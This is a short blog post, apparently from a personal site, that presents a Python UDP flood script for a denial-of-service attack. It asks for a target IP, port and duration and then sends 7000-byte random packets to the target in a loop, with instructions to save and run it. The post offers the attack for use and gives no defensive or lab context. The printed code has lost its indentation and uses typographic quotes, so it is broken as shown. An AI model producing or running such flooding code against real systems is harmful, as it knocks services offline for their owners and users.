Denial of service attack by flooding

This attack sends multiple packets to a target IP address on a specified port for a specified period of time.

Create the file flood.py and insert the following content

import socket
import random
import time

# Opens a new socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Creates a packet
bytes = random._urandom(7000)

# Prompts user to input target IP
ip = input(‘Target IP: ‘)

# Prompts user to input target port
port = int(input(‘Port: ‘))

# Prompts user to input number of seconds to delay packets
duration = int(input(“Number of seconds to send packets:”))

timeout = time.time() + duration
sent = 0

while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes,(ip, port))
sent = sent + 1
print(sent, ip, port)

Then run the following command:

python flood.py

(Next Post) »


Leave a Reply

Your email address will not be published. Required fields are marked *

© 2020 | Red's World | redjames@bostondynamics.com.au